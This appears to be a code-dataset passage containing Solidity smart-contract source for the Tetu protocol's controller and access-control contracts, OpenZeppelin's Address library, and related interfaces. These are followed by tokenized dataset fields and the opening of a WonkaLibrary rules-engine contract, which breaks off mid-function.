setAddress("governance", _address);
}
/// @notice Return governance address
/// @return Governance address
function governance() external override view returns (address) {
return _governance();
}
function _governance() internal view returns (address) {
return getAddress("governance");
}
function _setDao(address _address) internal {
emit UpdatedAddressSlot("dao", _dao(), _address);
setAddress("dao", _address);
}
/// @notice Return DAO address
/// @return DAO address
function dao() external override view returns (address) {
return _dao();
}
function _dao() internal view returns (address) {
return getAddress("dao");
}
function _setFeeRewardForwarder(address _address) internal {
emit UpdatedAddressSlot("feeRewardForwarder", feeRewardForwarder(), _address);
setAddress("feeRewardForwarder", _address);
}
/// @notice Return FeeRewardForwarder address
/// @return FeeRewardForwarder address
function feeRewardForwarder() public override view returns (address) {
return getAddress("feeRewardForwarder");
}
function _setBookkeeper(address _address) internal {
emit UpdatedAddressSlot("bookkeeper", _bookkeeper(), _address);
setAddress("bookkeeper", _address);
}
/// @notice Return Bookkeeper address
/// @return Bookkeeper address
function bookkeeper() external override view returns (address) {
return _bookkeeper();
}
function _bookkeeper() internal view returns (address) {
return getAddress("bookkeeper");
}
function _setMintHelper(address _address) internal {
emit UpdatedAddressSlot("mintHelper", mintHelper(), _address);
setAddress("mintHelper", _address);
}
/// @notice Return MintHelper address
/// @return MintHelper address
function mintHelper() public override view returns (address) {
return getAddress("mintHelper");
}
function _setRewardToken(address _address) internal {
emit UpdatedAddressSlot("rewardToken", rewardToken(), _address);
setAddress("rewardToken", _address);
}
/// @notice Return TETU address
/// @return TETU address
function rewardToken() public override view returns (address) {
return getAddress("rewardToken");
}
function _setFundToken(address _address) internal {
emit UpdatedAddressSlot("fundToken", fundToken(), _address);
setAddress("fundToken", _address);
}
/// @notice Return a token address used for FundKeeper
/// @return FundKeeper's main token address
function fundToken() public override view returns (address) {
return getAddress("fundToken");
}
function _setPsVault(address _address) internal {
emit UpdatedAddressSlot("psVault", psVault(), _address);
setAddress("psVault", _address);
}
/// @notice Return Profit Sharing pool address
/// @return Profit Sharing pool address
function psVault() public override view returns (address) {
return getAddress("psVault");
}
function _setFund(address _address) internal {
emit UpdatedAddressSlot("fund", fund(), _address);
setAddress("fund", _address);
}
/// @notice Return FundKeeper address
/// @return FundKeeper address
function fund() public override view returns (address) {
return getAddress("fund");
}
function _setDistributor(address _address) internal {
emit UpdatedAddressSlot("distributor", distributor(), _address);
setAddress("distributor", _address);
}
/// @notice Return Reward distributor address
/// @return Distributor address
function distributor() public override view returns (address) {
return getAddress("distributor");
}
function _setAnnouncer(address _address) internal {
emit UpdatedAddressSlot("announcer", _announcer(), _address);
setAddress("announcer", _address);
}
/// @notice Return Announcer address
/// @return Announcer address
function announcer() external override view returns (address) {
return _announcer();
}
function _announcer() internal view returns (address) {
return getAddress("announcer");
}
function _setVaultController(address _address) internal {
emit UpdatedAddressSlot("vaultController", vaultController(), _address);
setAddress("vaultController", _address);
}
/// @notice Return FundKeeper address
/// @return FundKeeper address
function vaultController() public override view returns (address) {
return getAddress("vaultController");
}
// ----------- INTEGERS ----------
function _setPsNumerator(uint256 _value) internal {
emit UpdatedUint256Slot("psNumerator", psNumerator(), _value);
setUint256("psNumerator", _value);
}
/// @notice Return Profit Sharing pool ratio's numerator
/// @return Profit Sharing pool ratio numerator
function psNumerator() public view override returns (uint256) {
return getUint256("psNumerator");
}
function _setPsDenominator(uint256 _value) internal {
emit UpdatedUint256Slot("psDenominator", psDenominator(), _value);
setUint256("psDenominator", _value);
}
/// @notice Return Profit Sharing pool ratio's denominator
/// @return Profit Sharing pool ratio denominator
function psDenominator() public view override returns (uint256) {
return getUint256("psDenominator");
}
function _setFundNumerator(uint256 _value) internal {
emit UpdatedUint256Slot("fundNumerator", fundNumerator(), _value);
setUint256("fundNumerator", _value);
}
/// @notice Return FundKeeper ratio's numerator
/// @return FundKeeper ratio numerator
function fundNumerator() public view override returns (uint256) {
return getUint256("fundNumerator");
}
function _setFundDenominator(uint256 _value) internal {
emit UpdatedUint256Slot("fundDenominator", fundDenominator(), _value);
setUint256("fundDenominator", _value);
}
/// @notice Return FundKeeper ratio's denominator
/// @return FundKeeper ratio denominator
function fundDenominator() public view override returns (uint256) {
return getUint256("fundDenominator");
}
// ******************** STORAGE INTERNAL FUNCTIONS ********************
function setAddress(string memory key, address _address) private {
addressStorage[keccak256(abi.encodePacked(key))] = _address;
}
function getAddress(string memory key) private view returns (address) {
return addressStorage[keccak256(abi.encodePacked(key))];
}
function setUint256(string memory key, uint256 _value) private {
uintStorage[keccak256(abi.encodePacked(key))] = _value;
}
function getUint256(string memory key) private view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked(key))];
}
//slither-disable-next-line unused-state
uint256[50] private ______gap;
}
// SPDX-License-Identifier: ISC
/**
* By using this software, you understand, acknowledge and accept that Tetu
* and/or the underlying software are provided “as is” and “as available”
* basis and without warranties or representations of any kind either expressed
* or implied. Any use of this open source software released under the ISC
* Internet Systems Consortium license is done at your own risk to the fullest
* extent permissible pursuant to applicable law any and all liability as well
* as all warranties, including any fitness for a particular purpose with respect
* to Tetu and/or the underlying software and the use thereof are disclaimed.
*/
pragma solidity 0.8.4;
import "../../openzeppelin/Initializable.sol";
import "../interface/IControllable.sol";
import "../interface/IControllableExtended.sol";
import "../interface/IController.sol";
/// @title Implement basic functionality for any contract that require strict control
/// V2 is optimised version for less gas consumption
/// @dev Can be used with upgradeable pattern.
/// Require call initializeControllable() in any case.
/// @author belbix
abstract contract ControllableV2 is Initializable, IControllable, IControllableExtended {
bytes32 internal constant _CONTROLLER_SLOT = bytes32(uint256(keccak256("eip1967.controllable.controller")) - 1);
bytes32 internal constant _CREATED_SLOT = bytes32(uint256(keccak256("eip1967.controllable.created")) - 1);
bytes32 internal constant _CREATED_BLOCK_SLOT = bytes32(uint256(keccak256("eip1967.controllable.created_block")) - 1);
event ContractInitialized(address controller, uint ts, uint block);
/// @notice Initialize contract after setup it as proxy implementation
/// Save block.timestamp in the "created" variable
/// @dev Use it only once after first logic setup
/// @param __controller Controller address
function initializeControllable(address __controller) public initializer {
_setController(__controller);
_setCreated(block.timestamp);
_setCreatedBlock(block.number);
emit ContractInitialized(__controller, block.timestamp, block.number);
}
/// @dev Return true if given address is controller
function isController(address _value) external override view returns (bool) {
return _isController(_value);
}
function _isController(address _value) internal view returns (bool) {
return _value == _controller();
}
/// @notice Return true if given address is setup as governance in Controller
function isGovernance(address _value) external override view returns (bool) {
return _isGovernance(_value);
}
function _isGovernance(address _value) internal view returns (bool) {
return IController(_controller()).governance() == _value;
}
// ************* SETTERS/GETTERS *******************
/// @notice Return controller address saved in the contract slot
function controller() external view override returns (address) {
return _controller();
}
function _controller() internal view returns (address result) {
bytes32 slot = _CONTROLLER_SLOT;
assembly {
result := sload(slot)
}
}
/// @dev Set a controller address to contract slot
function _setController(address _newController) private {
require(_newController != address(0));
bytes32 slot = _CONTROLLER_SLOT;
assembly {
sstore(slot, _newController)
}
}
/// @notice Return creation timestamp
/// @return ts Creation timestamp
function created() external view override returns (uint256 ts) {
bytes32 slot = _CREATED_SLOT;
assembly {
ts := sload(slot)
}
}
/// @dev Filled only once when contract initialized
/// @param _value block.timestamp
function _setCreated(uint256 _value) private {
bytes32 slot = _CREATED_SLOT;
assembly {
sstore(slot, _value)
}
}
/// @notice Return creation block number
/// @return ts Creation block number
function createdBlock() external view returns (uint256 ts) {
bytes32 slot = _CREATED_BLOCK_SLOT;
assembly {
ts := sload(slot)
}
}
/// @dev Filled only once when contract initialized
/// @param _value block.number
function _setCreatedBlock(uint256 _value) private {
bytes32 slot = _CREATED_BLOCK_SLOT;
assembly {
sstore(slot, _value)
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: ISC
/**
* By using this software, you understand, acknowledge and accept that Tetu
* and/or the underlying software are provided “as is” and “as available”
* basis and without warranties or representations of any kind either expressed
* or implied. Any use of this open source software released under the ISC
* Internet Systems Consortium license is done at your own risk to the fullest
* extent permissible pursuant to applicable law any and all liability as well
* as all warranties, including any fitness for a particular purpose with respect
* to Tetu and/or the underlying software and the use thereof are disclaimed.
*/
pragma solidity 0.8.4;
interface IController {
function addVaultsAndStrategies(address[] memory _vaults, address[] memory _strategies) external;
function addStrategy(address _strategy) external;
function governance() external view returns (address);
function dao() external view returns (address);
function bookkeeper() external view returns (address);
function feeRewardForwarder() external view returns (address);
function mintHelper() external view returns (address);
function rewardToken() external view returns (address);
function fundToken() external view returns (address);
function psVault() external view returns (address);
function fund() external view returns (address);
function distributor() external view returns (address);
function announcer() external view returns (address);
function vaultController() external view returns (address);
function whiteList(address _target) external view returns (bool);
function vaults(address _target) external view returns (bool);
function strategies(address _target) external view returns (bool);
function psNumerator() external view returns (uint256);
function psDenominator() external view returns (uint256);
function fundNumerator() external view returns (uint256);
function fundDenominator() external view returns (uint256);
function isAllowedUser(address _adr) external view returns (bool);
function isDao(address _adr) external view returns (bool);
function isHardWorker(address _adr) external view returns (bool);
function isRewardDistributor(address _adr) external view returns (bool);
function isPoorRewardConsumer(address _adr) external view returns (bool);
function isValidVault(address _vault) external view returns (bool);
function isValidStrategy(address _strategy) external view returns (bool);
function rebalance(address _strategy) external;
// ************ DAO ACTIONS *************
function setPSNumeratorDenominator(uint256 numerator, uint256 denominator) external;
function setFundNumeratorDenominator(uint256 numerator, uint256 denominator) external;
function changeWhiteListStatus(address[] calldata _targets, bool status) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: ISC
/**
* By using this software, you understand, acknowledge and accept that Tetu
* and/or the underlying software are provided “as is” and “as available”
* basis and without warranties or representations of any kind either expressed
* or implied. Any use of this open source software released under the ISC
* Internet Systems Consortium license is done at your own risk to the fullest
* extent permissible pursuant to applicable law any and all liability as well
* as all warranties, including any fitness for a particular purpose with respect
* to Tetu and/or the underlying software and the use thereof are disclaimed.
*/
pragma solidity 0.8.4;
interface IControllable {
function isController(address _contract) external view returns (bool);
function isGovernance(address _contract) external view returns (bool);
}
// SPDX-License-Identifier: ISC
/**
* By using this software, you understand, acknowledge and accept that Tetu
* and/or the underlying software are provided “as is” and “as available”
* basis and without warranties or representations of any kind either expressed
* or implied. Any use of this open source software released under the ISC
* Internet Systems Consortium license is done at your own risk to the fullest
* extent permissible pursuant to applicable law any and all liability as well
* as all warranties, including any fitness for a particular purpose with respect
* to Tetu and/or the underlying software and the use thereof are disclaimed.
*/
pragma solidity 0.8.4;
/// @dev This interface contains additional functions for Controllable class
/// Don't extend the exist Controllable for the reason of huge coherence
interface IControllableExtended {
function created() external view returns (uint256 ts);
function controller() external view returns (address adr);
}
|
SPDX-License-Identifier: ISC* By using this software, you understand, acknowledge and accept that Tetu and/or the underlying software are provided “as is” and “as available” basis and without warranties or representations of any kind either expressed or implied. Any use of this open source software released under the ISC Internet Systems Consortium license is done at your own risk to the fullest extent permissible pursuant to applicable law any and all liability as well as all warranties, including any fitness for a particular purpose with respect to Tetu and/or the underlying software and the use thereof are disclaimed./
|
interface IFeeRewardForwarder {
function distribute(uint256 _amount, address _token, address _vault) external returns (uint256);
function notifyPsPool(address _token, uint256 _amount) external returns (uint256);
function notifyCustomPool(address _token, address _rewardPool, uint256 _maxBuyback) external returns (uint256);
function liquidate(address tokenIn, address tokenOut, uint256 amount) external returns (uint256);
}
| 14,500,936 |
[
1,
3118,
28826,
17,
13211,
17,
3004,
30,
467,
2312,
2525,
1450,
333,
17888,
16,
1846,
22413,
16,
28922,
471,
2791,
716,
399,
278,
89,
471,
19,
280,
326,
6808,
17888,
854,
2112,
225,
163,
227,
255,
345,
353,
163,
227,
256,
471,
225,
163,
227,
255,
345,
2319,
163,
227,
256,
10853,
471,
2887,
341,
5399,
970,
606,
578,
27851,
434,
1281,
3846,
3344,
26863,
578,
23547,
18,
5502,
999,
434,
333,
1696,
1084,
17888,
15976,
3613,
326,
467,
2312,
21352,
30558,
735,
3804,
5077,
8630,
353,
2731,
622,
3433,
4953,
18404,
358,
326,
1983,
395,
11933,
293,
1840,
1523,
5405,
26560,
970,
358,
12008,
328,
2219,
1281,
471,
777,
4501,
2967,
487,
5492,
487,
777,
341,
5399,
970,
606,
16,
6508,
1281,
20351,
364,
279,
6826,
13115,
598,
8762,
358,
399,
278,
89,
471,
19,
280,
326,
6808,
17888,
471,
326,
999,
1915,
792,
854,
1015,
14784,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
5831,
11083,
1340,
17631,
1060,
30839,
288,
203,
225,
445,
25722,
12,
11890,
5034,
389,
8949,
16,
1758,
389,
2316,
16,
1758,
389,
26983,
13,
3903,
1135,
261,
11890,
5034,
1769,
203,
203,
225,
445,
5066,
18124,
2864,
12,
2867,
389,
2316,
16,
2254,
5034,
389,
8949,
13,
3903,
1135,
261,
11890,
5034,
1769,
203,
203,
225,
445,
5066,
3802,
2864,
12,
2867,
389,
2316,
16,
1758,
389,
266,
2913,
2864,
16,
2254,
5034,
389,
1896,
38,
9835,
823,
13,
3903,
1135,
261,
11890,
5034,
1769,
203,
203,
225,
445,
4501,
26595,
340,
12,
2867,
1147,
382,
16,
1758,
1147,
1182,
16,
2254,
5034,
3844,
13,
3903,
1135,
261,
11890,
5034,
1769,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xb3c82EcCecF54D11caa6F3e689898b7B08ab55b5/sources/contracts/Splitter.sol
|
community owner, provide in constructor
|
address private communityOwnerAddress;
| 16,587,283 |
[
1,
20859,
3410,
16,
5615,
316,
3885,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
1758,
3238,
19833,
5541,
1887,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
/// @title An Ethereum library that contains useful routines for the Wonka engine
/// @author Aaron Kendall
library WonkaLibrary {
// An enum for the type of rules currently supported
enum RuleTypes { IsEqual, IsLessThan, IsGreaterThan, Populated, InDomain, Assign, OpAdd, OpSub, OpMult, OpDiv, CustomOp, MAX_TYPE }
RuleTypes constant defaultType = RuleTypes.IsEqual;
uint constant CONST_CUSTOM_OP_ARGS = 4;
/// @title Holds metadata which represents an Attribute (i.e., a unique point of data in a user's record)
/// @notice Not all struct members are currently used
struct WonkaAttr {
uint attrId;
bytes32 attrName;
uint maxLength;
bool maxLengthTruncate;
uint maxNumValue;
string defaultValue;
bool isString;
bool isDecimal;
bool isNumeric;
bool isValue;
}
/// @title A data structure that represents a Source (i.e., a provider of a record)
/// @notice This structure isn't currently used
struct WonkaSource {
bytes32 sourceName;
bytes32 status;
// For retrieving an Attribute value
bytes32 methodName;
// For setting an Attribute value
bytes32 setMethodName;
address contractAddress;
bool isValue;
}
/// @title Defines a rule (i.e., a logical unit for testing the validity of an Attribute value in a record)
/// @notice 1.) Only one Attribute can be targeted now, but in the future, rules could be able to target multiple Attributes + 2.) A Rule can only be owned by one RuleSet
/// @dev
struct WonkaRule {
uint ruleId;
bytes32 name;
uint ruleType;
bytes32 targetAttrName;
string ruleValue;
mapping(string => string) ruleValueDomain;
string[] ruleDomainKeys;
bytes32[] customOpArgs;
bytes32 parentRuleSetId;
bool notOpFlag;
bool isPassiveFlag;
}
/// @title Contains a list of all rules that have failed during a validation (and the rulesets to which they belong)
/// @notice
/// @dev The arrays will be set to the total number of rules in a RuleTree, but 'ruleFailCount' will indicate how many of them are actually populated
struct WonkaRuleReport {
uint ruleFailCount;
bytes32[] ruleSetIds;
bytes32[] ruleIds;
}
/// @title Defines a ruleset (i.e., a logical grouping of rules)
/// @notice A RuleSet can only be owned by one RuleTree
/// @dev The collective evaluation of its rules will make a determination (such as how to navigate the RuleTree or whether or not the provided record is valid)
struct WonkaRuleSet {
bytes32 ruleSetId;
string description;
bytes32 parentRuleSetId;
bool severeFailure;
// string customFailureMsg;
uint[] evalRuleList;
mapping(uint => WonkaRule) evaluativeRules;
uint[] assertiveRuleList;
mapping(uint => WonkaRule) assertiveRules;
bytes32[] childRuleSetList;
bool andOp;
bool failImmediately;
bool isLeaf;
bool isValue;
}
/// @title Defines a ruletree (i.e., a logical, hierarchical grouping of rulesets)
/// @notice Currently, only one ruletree can be defined for any given address/account
/// @dev The collective evaluation of its rulesets will determine whether or not the provided record is valid
struct WonkaRuleTree {
bytes32 ruleTreeId;
string description;
bytes32 rootRuleSetName;
bytes32[] allRuleSetList;
mapping(bytes32 => WonkaRuleSet) allRuleSets;
uint totalRuleCount;
bool isValue;
}
/// @dev Defines an event that will report when a ruletree has been invoked to validate a provided record.
/// @notice
event CallRuleTree(
address indexed ruler
);
/// @dev Defines an event that will report when a ruleset has been invoked when validating a provided record.
/// @notice
event CallRuleSet(
address indexed ruler,
bytes32 indexed tmpRuleSetId
);
/// @dev Defines an event that will report when a rule has been invoked when validating a provided record.
/// @notice
event CallRule(
address indexed ruler,
bytes32 indexed ruleSetId,
bytes32 indexed ruleId,
uint ruleType
);
/// @dev Defines an event that will report when the record does not satisfy a ruleset.
event RuleSetError (
address indexed ruler,
bytes32 indexed ruleSetId,
bool severeFailure
);
/// @dev This method will convert a bytes32 type to a String
/// @notice
function bytes32ToString(bytes32 x) public pure returns (string memory) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (uint k = 0; k < charCount; k++) {
bytesStringTrimmed[k] = bytesString[k];
}
return string(bytesStringTrimmed);
}
/// @dev This method will supply the functionality for a Custom Operator rule, calling a method on another contract (like perform a calculation) via assembly
function invokeCustomOperator(address targetContract, address, bytes32 methodName, bytes32 arg1, bytes32 arg2, bytes32 arg3, bytes32 arg4) public returns (string memory strAnswer) {
bytes32 answer = methodName;
// Since the Solidity compiler complains about the stack being too deep with local stack variables,
// we must consolidate the code here to be one line
bytes4 sig = bytes4(keccak256(abi.encodePacked(strConcat(bytes32ToString(methodName), "(bytes32,bytes32,bytes32,bytes32)"))));
assembly {
// move pointer to free memory spot
let ptr := mload(0x40)
// put function sig at memory spot
mstore(ptr,sig)
// append argument after function sig
mstore(add(ptr,0x04), arg1)
